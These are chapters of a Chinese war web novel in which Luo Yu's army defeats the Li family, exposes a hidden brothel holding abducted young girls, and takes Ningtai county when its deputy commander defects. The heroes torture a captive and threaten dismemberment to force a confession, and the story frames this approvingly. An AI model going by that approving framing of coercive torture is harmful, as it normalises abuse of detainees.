战场侧面有一座小土坡,洛羽和萧少游缓步登上了最高处,恰好可以将战场的情况尽收眼底。
一战击溃八千敌军,两人的脸上并未有太多惊喜之色,这本就在他们预料之中。
四千精骑在平原进攻八千步卒,这种仗要是打不赢那他们就别跟李家开战了。
望着敌军自相践踏,哀嚎声响彻云霄,洛羽有些唏嘘:
“四营骑兵操练许久,已有精锐之姿,没想到第一战是用来打自己人,好歹都是阙州的男丁啊。”
“阙州男丁也有好有坏。”
萧少游平静的说道:
“例如刚才那个崔莽,仅去年就在鼎城强征数千民夫为其修建府宅,耽误了秋收,导致鼎城开年就饿死了不少人。平日里更是纵容兵马劫掠百姓、奸淫民女,短短数年,鼎城便流失人口近万,全都被崔莽逼得无家可归。
像这样的人,该杀!而且要杀得干干净净才能平息民愤!
血腥一时,换来一世平安。”
“你说得对。”
洛羽目光冰寒:
“那就借这次和李家开战的机会,彻底荡清阙州的败类!”
……
四营精骑仅用一轮冲锋便打垮了八千敌军,接着兵分多路,一营分为数尉,三百人一队,不停地切割敌军阵型,长枪马蹄所过之处皆是鲜血飞溅,李家军根本无力抵抗。
蒙虎、吕青云、余寒弓三人分头凿穿敌阵,从背后杀出的霍连城则直奔中军帅旗,目标直指李承云。
“拦住他,快拦住他!”
李承云慌了,拼命招呼李家牙兵上前阻拦,自己则在慌乱中一扯缰绳,扭头就跑。他很清楚大军已败,死拼下去毫无意义。
霍连城一路冲杀,好不容易闯入敌阵深处时却发现李承云早跑没影了,但帅旗还在,还有七八名敌军围了过来,张牙舞爪,好几杆长枪同时刺向自己的腰腹。
“哼!”
霍连城腰肢一弯,枪尖正好贴着他的后背擦了过去,等他再度起身时已经提枪横握,一记秋风扫落叶狠狠甩出。
“砰砰砰!”
毫无花哨,只有蛮力,仅仅一枪就砸得敌军倒飞而出。
当几名亲兵全都被霍连城一枪捅死之后,他身前只剩一面孤零零的帅旗。
“喝!”
霍连城拔刀一砍,拦腰将旗杆劈成了两截,两个时辰前还威风凛凛的“李”字旗成了地上的破布,任由马蹄践踏。
拎着血淋淋的长枪,霍连城举目四顾,总算看到了拼命奔逃的李承云,当即催动战马追了上去。
李承云那叫一个惨啊,四周皆有敌军围困,身后还有霍连城紧追不舍,得亏麾下亲兵算是李家的精锐死忠,护着他一路往外冲杀,几乎每时每刻都有亲兵惨叫声倒在血泊中。
到最后独剩李承云一人冲出了包围圈,霍连城也一人一骑赶了上来。两人在平原上纵马狂奔,一人满脸惶恐,一人杀气腾腾。
“妈的,这个狗皮膏药。”
李承云暗骂了一声,眉头一挑,计上心来。
或许是霍连城马快,两人之间的距离越来越近,霍连城目光冰寒,紧握长枪,眼看着就要追上李承云。
就在这时,李承云陡然转身,长枪从自己的腋下探出,笔直刺向霍连城的胸口:
“杂碎,死吧!”
一记干脆利落的回马枪!
“哼,早就知道你会玩这一手!”
霍连城讥讽一笑,在枪尖袭来的瞬间猛地一扭身,然后伸手一抓,死死扣住枪杆,顺势往自己怀里一拽。李承云哪儿料到会有这么一出,整个人不受控制地倒向了霍连城。
霍连城弃枪换刀,横刀一劈:
“噗嗤!”
锋利的苍刀狠狠捅进了他的胸膛,所谓的李家悍将变成一条瘫倒在地的死狗,不停地往外吐血。
李承云的目光迅速昏暗,神情绝望。
霍连城翻身下马,高举刀锋:
“洛将军说了,会把你们的人头送回天阙城。”
“祭奠云阳关死去的英灵!”
……
初夏时节,洛李两家的第一战落下帷幕。
李家八千兵马尚未进入凤川境内便全军覆没,主将李承云连同十余名副将尽数被杀。
阙州震动。
第165章横扫阙州!
凤川城内锣鼓齐鸣,街头巷尾挤满了老百姓,迎接大军凯旋,每个人的脸上都洋溢着笑容。
虽说洛羽最先在苍岐建城,但辖境内的人口主要集中在凤川:
从第一次出兵击退羌兵,力保凤川城免遭屠杀,到后来取代姚家,给老百姓分田地、安流民、振商业,一年间凤川城发生了翻天覆地的变化。
洛羽早就赢得了百姓们的拥戴,当听到李家对洛羽宣战时城内人心惶惶,生怕又过上那种食不果腹的日子。
李家的檄文在他们眼里就是一坨狗屎,谁对百姓好他们心中能不知道吗?
可如今洛羽用实力告诉所有人,一战歼敌八千,洛家军有能力保护两城百姓!
他们的心踏实了!
知府衙门里,众将齐聚一堂,同样笑容满面,他们早就对李家憋了一肚子火,这次算是打爽了。
“外面的爆竹声、欢呼声都听到了吧。”
洛羽微微一笑:
“首先恭喜诸位,几个月的练兵没有白费!从今天开始,整个阙州再无人敢小觑洛字军旗!”
众将昂首挺胸,自信又骄傲。
“但我得提醒你们,战争才刚刚开始!还没到喝庆功酒的时候。”
洛羽转而变得严肃:
“现在我们歼灭的大多是李家附庸,完全是一群乌合之众,李家的嫡系兵马有上万之众,并未伤筋动骨。
正所谓骄兵必败,接下来的任何一场战斗都不能疏忽大意!”
“诺!”
“少游,你来讲一下接下来的战事部署。”
萧少游大步走到地图旁,伸手一指:
“阙州地形从东到西,纵深约三百里,苍岐与凤川两地正好卡在中段。
全境城池数十座城池,一大半由大大小小的城主控制,直属李家的七八座城池全都在阙州东部。
对李家而言最重要的地方就是两个。
一为首府天阙城,也是李家老巢所在;二是宁台县,距离天阙城四五十里,一向是李家的屯粮重地,城墙坚固,与天阙城呈掎角之势。
要想灭掉李家,一统阙州,咱们接下来分三步走。”
灭掉李家、一统阙州。
短短八个字让众人的目光无比炙热,谁说阙州一定要姓李?姓洛也未尝不可!
萧少游竖起三根手指,嗓音坚定:
“第一步,拔其爪牙!
各城城主都效忠李家,虽然各自兵力都不多,但各城加在一起也有数万兵马,合兵一处对咱们来说是个麻烦。倒不如趁各城未动,咱们主动出击,一一拔除!
以苍岐、凤川一线为界,往东是李家腹地,暂时不动,往西的地盘我们要全拿下!
接下来六营兵马分头行动,按顺序攻打……”
洛羽手中有君墨竹提供的情报,对各城城主的实力了如指掌,萧少游依此制定出了进攻方案,强弱得当,部署缜密。
“第二步,夺取屯粮重地!
待各路兵马铲除李家爪牙之后,各营陆续向宁台县集结,兵马未动粮草先行,要想攻取天阙城,宁台县必须先拿下来!”
萧少游加重了几分语气:
“最后一步!
大军合围天阙城!一战灭李家!”
众人战意汹汹,恨不得现在就带兵杀奔天阙城。
洛羽出言提醒道:
“此一战已然震慑全境,每到一地可先礼后兵,愿降者可暂留其兵权,等战事平息后再作定夺。
负隅顽抗者,杀无赦!”
“诺!”
洛羽手掌一挥:
“出发吧!半个月之内,我要横扫阙州!”
……
短短半个月,战火便蔓延至阙州大半疆域。
六营兵马四处出击,按照萧少游的部署攻取各地,但他只讲了大概的进攻路线,具体战事由各营校尉自行定夺。
这不仅仅是洛羽统一阙州的过程,更是蒙虎、霍连城这帮将领磨炼成长的过程。
洛羽要把他们培养成能独当一面的悍将!
半个月内,整个阙州都见识到了洛家军的强悍。各地城主要么望风而降,要么在一番激战之后丢城失地。
玄旗所指,攻无不克,战无不胜!
洛羽那儿捷报连连,天阙城的持节府中却回荡着李松年愤怒的骂声:
“告诉我!苍岐凤川区区两城之地,怎会有如此精锐!
这才半个月的时间,阙州一半地盘都丢了,那些城主的脑子里装的都是屎吗!”
“还有你们这些废物!连个乳臭未干的小儿都对付不了,老夫养你们是干什么吃的!”
“平日里一个个人模狗样,上了战场就被打出翔来。说,谁敢带兵上阵杀敌!难不成等他们杀到天阙城外,让老夫出去迎敌吗!”
“饭桶!”
一群李姓、旁姓的将领被骂得头都不敢抬,短短半个月,李家派去各城的武将就死了十几个,全都被洛家军打怕了。
从布匹生意被凤川抢走以后,李家从上到下都盼着和洛家开战,想着直接宰了洛羽就能重新大把大把地捞银子。
但现实是残酷的,开战的结果超出了所有人的预料,半个月的时间,李家就丢掉了阙州半数领土的控制权,现在整个阙州都觉得李家是纸老虎,不堪一击,丢人丢大发了。
“请父亲大人先息怒。”
李玄冰脸色乌黑:
“现在还不是追究责任的时候,当务之急是稳住战局,不能再让洛家军这么肆无忌惮地打下去了,否则会动摇咱们的根基。
都说说,你们觉得洛家军下一步会进攻何处,咱们也好早做应对。”
一名将领小心翼翼地抬起头道:
“听说,听说洛家军下一步想要进攻宁台县,已经有千余兵马出现在宁台城外了。”
“宁台县决不能丢!”
李松年怒气冲冲地一拍桌子:“我李家半数粮草都囤积于此,而且这是天阙城仅剩的屏障。
宁台县一丢,天阙城就会直面洛家兵锋,到时候我们真的寝食难安了!”
“那就增兵宁台县,与洛家在宁台县对峙!”
“对,宁台县有坚墙,咱们可以驻扎重兵固守!洛家军骑兵强悍,但攻克坚城需要大量步卒,咱们不和他们野战,就坚守城池,耗也把他们耗死!”
众将七嘴八舌地议论起来,颇有些群情激奋的意思。
“等一下!”
李玄冰冷喝道:“都知道宁台县易守难攻,洛家军真会那么傻吗,死磕坚城?”
众人都愣住了,李松年皱眉道:“你怀疑洛羽在耍诈?”
李玄冰背着手来回踱步:
“半个月来洛家军神出鬼没,每一次进攻的地方都出乎了我们的预料,这次怎么会大张旗鼓地宣布要进攻宁台县?
洛羽此人一向奸诈无比,这定是他故意放出来的假消息,他们另有所图!”
众人目光一震,这么一想还真是,总感觉有一股阴谋的味道。
“可是不攻宁台县他们还能攻哪里?”
李松年满脸疑惑:
“还处在咱们控制下的只剩十几座城池,天阙城和宁台县最为紧要,他们总不至于直接攻打天阙城吧?”
众将领同样有此疑惑,天阙城被李家经营多年,固若金汤,就算洛家军倾巢而出他们都不慌。
“我知道了!”
李玄冰陡然停住脚步,猛地抬头:
“野槐山,他们的真正目的是野槐山!”
第166章埋在野槐山,挺好的
“放箭,给我放箭!”
“不要让敌军上墙,死守防线!”
真被李玄冰猜中了,攻打宁台县只是萧少游故意放出的风声,他们的真正目标是野槐山!此地藏着李家掳掠幼女的秘密,只要将这些黑暗公之于众,就能让李家臭名昭著!
到时候李家所发的讨贼檄文就会成为天大的笑柄!
领兵而来的依旧是韩朔与徐松两营兵马,上一次在这里栽了跟头,这次他们要把脸面找回来。
“顶住,不要乱,弓箭手不准停,给我杀!”
“谁敢后退一步,立斩不赦!”
守在这里的还是李光振,但他的嗓音中明显带着些慌乱,冒着被箭雨射杀的风险亲临一线指挥战斗。
因为野槐山的守军一直只有千余人,上次是为了伏击洛家军才调来那么多兵马,光靠千余人怎么挡得住两营兵马的猛攻?
开战不到一炷香,第一道营墙已经被攻破,大批精锐步卒涌入营寨,架起竹梯开始进攻第二道营墙。
箭雨纷飞、投石滚落,漫天火光照亮了荒野山林,晃动的槐树枝令人眼花缭乱。
这次洛家军没有偷袭,而是拿出了攻城的架势,就是要跟你正面硬碰硬!
一排排高大的铁盾矗立在墙角下,挡住了倾斜而下的投石箭雨,还有大批弓弩手在后放箭,掩护步卒进攻。各旗互相配合,悍勇登城。
同样是弓弩手,可洛家军的箭法好啊,李家牙兵一露头就会被射穿头颅,鲜血飞溅,哪有人敢把脑袋探出去射箭。
墙头上弥漫着一股恐怖的情绪。
僵持半天,接二连三有精悍步卒翻墙而入,挥舞着弯刀砍向李家军,整条防线隐隐有崩溃的迹象。
“坚持住,一定要守住!”
李光振的表情越发慌乱,他知道自己守不住,眼下唯一能指望的就是多坚持一会,撑到援兵抵达。
因为今天一早他就接到了李玄冰的快马传信,说是三千援兵已经上路,让他无论如何要坚守野槐山。
但下一刻他就看到一架攻城锤被推到了墙角下,嘴角一抽,气得破口大骂:
“尼玛的竟然用攻城锤,还讲不讲武德!”
韩朔狞笑一声:
“你的死期到了,给我砸!”
“轰!”
“轰轰!”
区区几扇木制的营门,如何挡得住攻城锤的重击?仅仅撞了三下,木门便轰然破碎,裂成一堆木屑。
“杀!”
“蹭蹭蹭!”
苍刀举起,披甲精锐蜂拥而入,憋了一肚子火的两营步卒把气全撒在了李家牙兵的身上,防线犹如潮水一般溃退。
攻入营门后大家才看清野槐山的真容,营墙背后先是一排排营房用来驻军,更远处竟然建起了不少楼宇,灯火通明,不像是深山老林,倒像是进了天阙城的青楼酒坊。
“深山老林里建这么些玩意干什么?”
韩朔皱了皱眉头,但暂时没空多想,因为他已经盯上了前方的李光振,仇人相见分外眼红:
“老子找你很久了!”
“该死的。”
望着手下被肆意残杀,李光振面色铁青,咬牙切齿:
“我李家主掌阙州多年,难不成还会怕你们!”
“吃我一刀!”
李光振也算个狠人,主动出击,厚重的刀锋横挥而出,风声舞舞。
“雕虫小技!”
韩朔目光一凝,苍刀正面迎向了李光振。
“铛!”
双刀相撞,一柄厚重如铁,一柄锋利轻巧。
简单的一记对拼,李光振硬是被逼得往后退了两步,手臂震得发麻,目光中多出了些许震惊。
“接我一刀试试!”
“喝!”
韩朔没给他缓一缓的机会,转守为攻,脚步一错、腰肢一扭,苍刀绕着腰腹转了一圈狠狠劈了过去。
李光振连忙抬刀横在胸前,手忙脚乱。
“砰!”
“嘶!”
这一刀力道十足,直接将刀背压翻,撞在了胸口处,李光振只觉得喉咙一甜,又往后退了几步。还没站稳,韩朔就抬腿一脚踹了过来。
“噗嗤!”
剧痛瞬间袭遍全身,李光振连着在地上滚了好几圈,口吐鲜血,身体止不住地抽搐。
“就你这种货色,也敢拦我?”
韩朔拎着刀一步步近前,目光狠辣:
“你兄长李光业在云阳关害死了我们那么多兄弟,今日该轮到你替他还债了!”
“停停停!”
恐惧充斥着李光振的双眸,惊慌失措地喊了起来:
“别杀我!难道你就不想知道野槐山的秘密吗?”
韩朔还真停住了刀锋,皱眉道:
“说!李家在野槐山到底做了些什么龌龊勾当!”
“额,平时确实有一些土匪会送幼女过来,此事还要从十年前说起……”
李光振支支吾吾,嘀咕半天也说不出个所以然来,眼珠子却提溜直转。
韩朔目光渐寒:
“你个杂碎,该不会是在拖延时间吧?”
“轰隆隆!”
就在这时,山口响起了震耳欲聋的马蹄声,似乎有大队的骑兵涌入野槐山。
李光振就像是看到了救星,一改刚才的卑躬屈膝,仰天大笑:
“哈哈,援军总算是来了!你们这些该死的家伙,敢与我李家为敌,自寻死路!”
“你是在找死吗?”
刀锋缓缓架在了他的脖颈处,韩朔狞声道:
“就算有援兵,你的命现在也捏在我手上!杀了你易如反掌!”
“杀了我?那你们两千兵马都得给我陪葬!”
李光振讥讽道:
“韩将军也不想全军覆没吧?现在放了我,跪地乞降,说不定还能留你一条活路!”
“是吗?”
韩朔的嘴角突然勾起一抹戏谑:
“那就让咱们看看是哪来的援兵。”
“轰隆隆!”
骑兵长驱直入,远远地望不清真容。直到靠近寨墙,借着闪耀的火光才发现他们清一色身披黑甲,高举玄旗,堂而皇之地穿过战场,涌入野槐山。
李光振脸上的笑容戛然而止,瞳孔一缩:
“洛,洛家军。怎么可能!”
援兵呢?李玄冰答应自己的三千援兵呢!
怎么是敌人的援兵!
火光中映出一道异常魁梧的身形,蒙虎疾驰到两人身前、勒住缰绳,用长枪挑着一块破布扔在了地上。
军旗,一面被鲜血染得透红的李家军旗。
蒙虎讥讽一笑:
“只要要让李将军失望了,你等的援兵现在已经成了三千孤魂野鬼。
不过野槐山景色不错,埋在这也挺好。”
细细看去,蒙虎身上的甲胄还沾染着大片血迹,似乎刚大战一场。
“不,不可能。”
李光振绝望地摇着头,怎么会这样!这次增援自己的三千兵马可是李家正儿八经的嫡系啊,岂会一战尽丧!
“真以为我们会在同一个地方栽两回跟头?攻野槐山只不过是顺带手罢了,真正的目的是吃掉你李家援兵!”
韩朔用刀锋拍了拍李光振的脸颊:
“现在轮到你了,野槐山究竟藏着什么秘密?”
第167章父子两喜欢一起
枝叶茂密的槐树将天空遮蔽得严严实实,只偶尔漏下几缕惨淡的月光。
就在这种与世隔绝的地方竟然建起了几座三层楼阁,朱漆金粉,雕梁画栋,与周围阴森的树林与血腥的战场形成了诡异对比。
洛羽和萧少游也到了野槐山,众人甚至不敢相信自己的眼睛。
门前挂着两盏大红灯笼,灯笼在风中轻轻摇晃,没有牌匾,投下的红光像血一般泼洒在门前青石板上。
楼宇内高悬十二盏金色烛灯,粗壮的梁柱表面雕刻着奇怪的图案,像是年轻貌美的幼女画像。香炉摆在四角,飘散着缕缕烟气,香味四溢。二楼三楼是一间间独立的包房,门口皆有六角宫灯,就连灯罩上都画着幼女图案。
大厅中央竟然还摆着一面巨大的屏风,绣着春宫图!赤裸裸的曼妙身姿让洛羽这些处男们老脸一红,压根不好意思去看。
这分明是一座奢华至极的青楼!
洛羽目光凌厉:
“说吧,这里到底是做什么的?我们从另外几栋阁楼里找到了上百名幼女,总不至于你李将军带兵驻扎在这里是为了保护那些女子的吧?”
李光振瑟瑟发抖,目光绝望,支支吾吾半个字都不敢说。
洛羽眼神一扫,小伍心领神会地走上前去,揪住李光振的手掌狠狠一掰,只听见咔擦一声,四根手指齐刷刷的断了。
“啊~”
凄厉的嚎叫瞬间回荡全场,李光振疼得满地打滚。
“说了,你不一定能活,但你若是不说,我保证你会以一种极其绝望的方式死去。”
洛羽冰冷的眼神终于让李光振感受到了恐惧,颤颤巍巍地开口道:
“此地有三个用处:
一是收纳各地土匪掳掠来的幼女,因为土匪频繁进出天阙城难免被有心人注意到,这里安全一些。
二是培养、调教抓来的女子,教她们琴棋书画、房中秘术,好送入青楼去伺候客人,那些达官显贵更喜欢这种女子;
三就是这座青楼了,专门用来接待达官显贵或者李家的贵客。”
洛羽目光闪烁,拳头已然微微握紧:
“也就是说此地乃李家所建,多少年了?”
“差不多,差不多有十年了。”
众人对视了一眼,微微点头,确信李光振没有说谎,他们去附近几个村子打听过,确实从十年前才开始兴起流言,说山中有恶鬼出没,这才让野槐山成了禁地,无人敢深入其中。
萧少游迈前一步,紧盯着李光振的眼眸:
“后面有几口枯井,里面堆满了白骨,是怎么回事?”
“抓来的女子有的想逃、有的想反抗,有的不肯接客,不听话的只能杀了,总不能放回去吧?有时候客人玩得开心,不小心把人给弄死了,也直接丢在枯井里……”
“妈的,你们干的还是人事吗!”
蒙虎彻底听不下去了,怒目圆睁破口大骂:
“掳掠良家女子、逼良为娼、草菅人命,李家就不怕遭天谴吗!”
李家的种种恶行令人震惊!本该风景秀丽的野槐山却成了阙州无数女子的地狱。
李光振满脸苦涩:
“饶命啊洛城主,这,这事跟小人也没有关系,我只不过是奉命行事罢了。”
“奉命行事?奉持节令大人的命令吗?”
洛羽双手抱胸,漫不经心地问道:“听你这意思,持节令大人也经常到这里来?”
“额。”
李光振顿了一下,小心翼翼地说道:
“就是家主喜好这些幼女,才建起了这么一座青楼,一般家主都会带一些客人来,住个两天再走。”
“那李玄冰呢,他会来吗?”
“会,隔三岔五就会来一趟,他们父子两喜欢一起……。”
“妈的,父子俩就不怕被老百姓戳着脊梁骨骂吗!”
在场之人岂会听不明白这句话的意思?韩朔气得一拍桌子:
“好一个持节令,好一个李家!这就是阙州的父母官!卑劣至极!”
“饶命,饶命啊。”
李光振砰砰砰的直磕头:
“我知道的全都说了,请洛城主饶小人一命,小人再也不会替李家卖命!只要您愿意放过我,小的这叫离开阙州,再也不给你添麻烦。”
李光振的胆子比他兄长要差得多,毕竟在此地驻守多年,早就被安逸的生活磨平了斗志与杀意,一心只想着活下去。
“想活下去没问题。”
洛羽的身体微微前倾:
“但你得把刚才说的话全都写成供词,签字画押!”
“这,这……”
李光振很清楚这些事讲出去会引发何等的轩然大波,到时候李松年父子会放过自己吗?
“不说也可以,李将军一身忠勇还真让我佩服。”
洛羽往椅背上一靠,随手一挥:
“那就送李将军上路吧,手脚四肢全都砍下来,丢去深山喂狗。”
蒙虎蹭得一声就拔出苍刀,大步上前,狰狞的眼神吓得李光振魂飞魄散,尖叫连连:
“别,被杀我!我写!”
“这才对嘛。”
洛羽冷笑一声:“拖下去,看着他好好写供词,若有半句谎言,先砍了他一只手!”
“诺!”
几名虎背熊腰放军卒把李光振给拖走了,可端坐椅子上的众位将军个个神情凝重,没心情开口说话。
哪怕早有预感是李家在背后操纵这一切,当听到真相的时候大家还是忍不住满心悲愤,李家所做的这些事比土匪还要恶心、卑劣百倍,难道老百姓的命在他们眼里真的就如同草芥一般?
“将军,这是我们的绝佳机会。”
萧少游最先回过神来,沉声道:
“李家发布的讨贼檄文中一直称呼我们为反贼,此事若是捅出去,定能让李家身败名裂!”
“光凭一个李光振只怕还扳不倒李家。”
随行来此的梅雪崖建议道:
“咱们可以将那些被掳女子送回家,她们必定会把实情讲给家人听,到时候李家想遮掩消息都不可能。”
“好,那就这么定了!”
洛羽缓缓起身,拳头紧握:
“李松年、李玄冰,不杀你们对不起阙州的老百姓!”
……
野槐山失守以后,前线战场陷入了短暂的安静,因为有一道流言传遍了阙州。
说这么多年来一直是李家在指使土匪掳掠幼女,然后再逼良为娼,去青楼接客,一开始还有百姓不信,认为这只不过是洛羽的说辞,反正双方开战,最常见的手段就是互相泼脏水。
可随着那些幼女陆续回家与家人团聚,事情的真相终于浮出水面,还有李光振签字画押的供词为证,百姓们终于深信不疑。
整个阙州都在痛骂李家父子两,竟然干出如此天怒人怨的事。民怨沸腾,骂声四起,渐有星火燎原之势。
于此同时,民间对苍岐、对洛羽的夸赞却越来越多,起码人家分田地、安流民,境内百姓安居乐业。
孰强孰弱,高下立判!
所有人都在等着这场大战落下帷幕,胜利到底会属于谁!
第168章我要下一盘大棋!
李家父子面色阴沉地坐在屋中,气氛极度压抑,就连端茶倒水的下人都战战兢兢,不敢发出半点声响,生怕被父子俩的怒火牵连。
整个阙州的百姓都在骂李家,什么丧尽天良、什么生孩子没屁眼的话都骂了出来,就连天阙城的百姓也敢在深更半夜朝李府门口丢烂菜叶子,父子两心情能好就怪了。
李松年焦急地在屋中走来走去,眉头紧皱:
“斥候探报,洛家军主力在攻克野槐山之后休整了几天,现在大军主力已经向宁台县集结。宁台守军不足两千人,难道我们不派兵增援吗?”
“我们已经无兵可调了啊。”
李玄冰摇了摇头:“天阙城中只剩六七千人,是我们最后的家底,其他各城的兵力也捉襟见肘。如果增援宁台县,派少了不够看,容易被伏击,派多了天阙城怎么办?
只能靠宁台县自己了。”
“靠他们自己,那能守几天?”
老人忧心忡忡:“洛家军可是从云阳关退下来的精锐啊,宁台县撑不住多久的。”
“撑不住就撑不住吧,只要天阙城没丢,咱们就还有机会!”
李玄冰的神色看起来并没有那么紧张,李松年满腹狐疑地看着儿子:
“冰儿,宁台县对咱们的重要性你应该很清楚,但爹怎么觉得你并不上心呢?还有,你昨天派了信使分头赶赴并州王家和定州君家,你是不是有什么筹谋?有的话就赶紧跟爹说说,不然爹寝食难安啊。”
“哼,爹就放心吧,我在下一盘大棋。”
李玄冰微微抬头,眼眸中充斥着森然的杀意:
“我要让此子万劫不复!”
……
“呜!”
“呜呜!”
“全军上城,准备迎战!”
“弓弩、檑木、滚石全都给我往上搬,快!”
盛夏清晨
天色刚亮,骄阳没一会就爬上了当空,将炙热的阳光洒满天地,空气中弥漫着一股燥热。
宁台县的上空响起了嘹亮的号角声,一声声怒吼此起彼伏,城中守军外加强征的民夫全都紧张兮兮,只因为城外已经出现了一座庞大的军阵。
一望无际的黑甲骑兵、漫天飞舞的玄色军旗让所有人心头一沉。
这就是洛家军吗?何等雄壮的军威啊!
两家开战仅仅一个月,李家就丢掉了手中大半地盘,反观洛家军这边是越打越强,不断有士卒归降,还不断有青壮投军,军力不断增加,此消彼长之下,李家早已没有以前那么可怕了。
大军阵中高举“洛”字帅旗,今日洛羽、萧少游等众将皆至,此战他们志在必得。宁台县乃天阙城的门户,只要攻克此地,那大军兵锋便可直抵天阙城下!
“到底是李家的屯粮重地啊,城墙确实坚固。”
洛羽打量着面前的坚城,两家开战这么久,宁台县当属大军遇到的第一座坚城。
“以前宁台县只是一个小县,外围尽是些土墙。”
韩朔很是鄙夷的说道:
“后来李家为了在此地屯粮,年复一年的强征民夫修缮、加固,别说工钱了,就连饭都吃不饱,每天都会饿死人,有传言说墙角下至少埋着上千百姓的尸体。”
“该死的李家,还真是无恶不作。”
洛羽眼神冷漠:
“据军报,城中守军不足两千,近期天阙城有增兵支援吗?”
“没有。”
萧少游沉声道:
“游弩手一直在天阙城与宁台县之间游弋,没有一兵一卒前来增援,为了以防万一,蒙虎已经率兵前出,卡在了两城的必经之路上,就算有援兵也会被他挡住。”
“李家竟然没有派援兵?”
洛羽眉头微皱:
“宁台县对他们的重要程度甚于野槐山,岂会置之不理?”
“暂时还不清楚。”
萧少游也有些疑惑:“都说一朝被蛇咬十年怕井绳,难道李家是被咱们的围点打援打怕了?不敢出兵了?”
“或许吧。”
洛羽甩了甩头,不再多想:
“那就准备攻城吧,老规矩,先派人劝降,再出兵攻城。”
“诺!”
“击鼓!全军备战!”
“咚咚咚!”
漫天鼓声响起的那一刻,肃杀之意凛然,让满城守军心头一亮。
以前他们不懂什么叫杀气、什么叫精锐,但现在懂了,城外的茫茫黑甲给人一种坚不可摧的感觉,甚至连呼吸都觉得困难。
正中央的位置站着两名中年武将,宁台县主将李康、副将黄自灵。
李康自然不必说,李家族人,黄自灵则是家将。
所谓的家将和城主是两个概念,城主只是名义上效忠李家,大部分事情都是自己决断,但家将完全就是李家人,一言一行都要听家族的命令。
当初君墨竹出手拉拢洛羽,就是想让洛羽成为君家的家将。
黄自灵一位外姓武将能被安排在宁台县,足见其能力强、受信任。
“该死的洛家军,欺人太甚!”
李康骂骂咧咧:
“竟敢如此逼近墙头,若不是家主有令,本将军定会带兵出城与其较量一番,看他们有何了不得的地方!”
黄自灵轻声劝慰着:
“将军消消气,洛家军确实强悍,咱们不可轻敌啊。”
“你休要长他人志气,灭自己威风!他洛羽算个什么东西!”
李康喷了黄自灵一脸唾沫,别看一个是主将一个是副将,但地位是天壤之别。
“可恨啊!”
李康愤愤不平地拍了下墙砖:
“什么时候轮到此等小儿骑在我李家头上拉屎了,妈的!”
就在此时,一骑快马从城外军阵中疾驰而出,飞奔城下,壮硕的汉子勒住缰绳,赫然是洛羽身边的亲卫:许韦。
满城的视线都投了过来,这家伙要干嘛?
许韦高举洛字军旗,一人一马浑然不惧满城敌军,朗声怒喝:
“李家父子草菅人命、恶贯满盈,罪不容诛,今定边将军举义旗、行天道,出兵伐之!”
“天兵已至,往尔等速速开城投降,莫要助纣为虐!”
“降者可活,负隅顽抗者。”
“杀!”
一声重重的杀,令守军心头一颤,不少人的眼神都变得畏惧、不安。
洛家军仅用不到一个月就横扫阙州半数疆域,攻无不克,战无不胜,凭他们两千兵马真能守住吗?
李康似是察觉到了将士们的不安,赶忙怒喝道:
“都不要慌!宁台县城高墙坚,粮草足备,凭他们区区几千兵马绝对攻不下来!只要咱们据城坚守,援兵很快就到。
待援兵一到,就是他们的死期!”
“末将斗胆。”
黄自灵突然躬下身子问道:“敢问将军,援兵何日才能抵达?”
李康下意识地皱了下眉头:
“半月,半月之内援兵必至!”
“将军,似乎不对吧?”
一向对他恭恭敬敬的黄自灵缓缓抬头,直视李康:
“末将怎么听说天阙城不会再派援兵过来了,持节令大人希望我们死守到底。”
此言一出,四周军卒的眼神全变了。
如果说有援兵,那他们打下去还算有个盼头,可如果死守到底不就是让他们等死吗?
“黄自灵,你可知这是在扰乱军心!”
似是感受到周围异样的目光,李康有些急了,怒斥道:
“再敢胡言乱语,本将军定严惩不贷……”
“噗嗤!”
话音未落,一柄弯刀就狠狠地捅进了他的胸膛,鲜血飚射。
李康眼眶一突,目光中充斥着震惊与绝望,死尸缓缓瘫倒在地,四周军卒也被吓到了,惊得一动都不敢动。
手握弯刀的黄自灵环视全场,冷声厉喝:
“从现在起宁台县归本将指挥!”
“开城,献降!”
第169章陇西四公子齐至
“罪臣黄自灵,特向定边将军献李康首级!”
宁台县的将军府里,黄自灵恭恭敬敬地跪在地上,手中捧着李康的人头,鲜血淋漓。
都说宁台县城高墙坚、粮草足备,本来以为会有一场苦战,没想到大军兵不血刃就入了城。
洛羽目光微凝,饶有兴趣地问道:
“据我所知,黄将军在李家麾下效命多年、劳苦功高,李家待你也不薄,今日为何来降我?”
众将都用一种古怪的眼神看着他,那些城主投降可以理解,毕竟不是李家的心腹死忠,但黄自灵可不一样,这是家臣,论忠心程度自然要远超旁人,可现在仗都没打,你怎么就降了?
黄自灵沉声道:
“罪人确实是李家的家将,但待我不薄这句话就不对了,在李家族内,地位最高的永远是那些李姓族人,像我们这种外姓家臣就算付出再多的努力、立下再多的功劳,在他们眼里始终是一条狗,永无出头之日。
这一点外人或许不清楚,但我心知肚明。”
洛羽身体前倾,轻笑道:
“这么说你是因为看不到出头之日才投降我的?黄将军想奔一个大好前程?”
“非也。”
“罪臣说一句心里话,如果放在以前,洛将军大军来袭,我定会死战到最后一刻,毕竟身为李家家臣,为其效命是应该的。
但直到洛将军攻克野槐山,将李家的罪行公之于众,我才意识到这些年是在替仇人卖命。”
“替仇人卖命?”
洛羽好奇起来:“此话何意?”
黄自灵面色悲戚:“其实我有一个妹妹,五年前突然消失不见,这么多年来我苦苦寻找,始终不见踪影。两年前有同乡熟人跟我说,好似在天阙城的青楼里看到了我妹妹,末将不信,便去找,就差把青楼翻个底朝天也没找到我妹妹。
这些年我百思不得其解,好端端一个大活人怎么就不见了?直到这次洛将军攻破野槐山,将李家的罪行公之于众我才明白,我妹妹一定是被土匪掳掠卖给了李家!过去这么多年,只怕早已死于非命。
我恨啊,恨自己蠢,恨自己没能早点看见李家的卑鄙无耻!还傻傻地替他们卖命!”
黄自灵的拳头已经攥紧,眼眸中闪烁着泪花:
“良禽择木而栖,贤臣择主而侍。洛将军高举义旗,替天行道,是大大的善举!若是洛将军不弃,末将愿追随麾下,效犬马之劳!若是将军您信不过我,那黄某可以交出兵权,回村务农。”
屋内一片死寂,吕青云他们几个满脸愤慨,李家竟然连自己人都不放过,简直可恶至极!
“黄将军还请节哀。”
洛羽的语气缓和了许多:“宁台县的守军有一千五百人,这里面你信任的军卒有多少?会不会藏着一些李家的死忠?”
“请将军放心,都信得过。”
黄自灵拍着胸脯保证道:
“李康除了姓李之外并无带兵的本事,军中日常操练都是由末将负责,一众将校只认我,不认他,否则我也没本事轻而易举地杀了李康。
只要将军信得过,以后这些兵马就是您的了!”
“很好。”
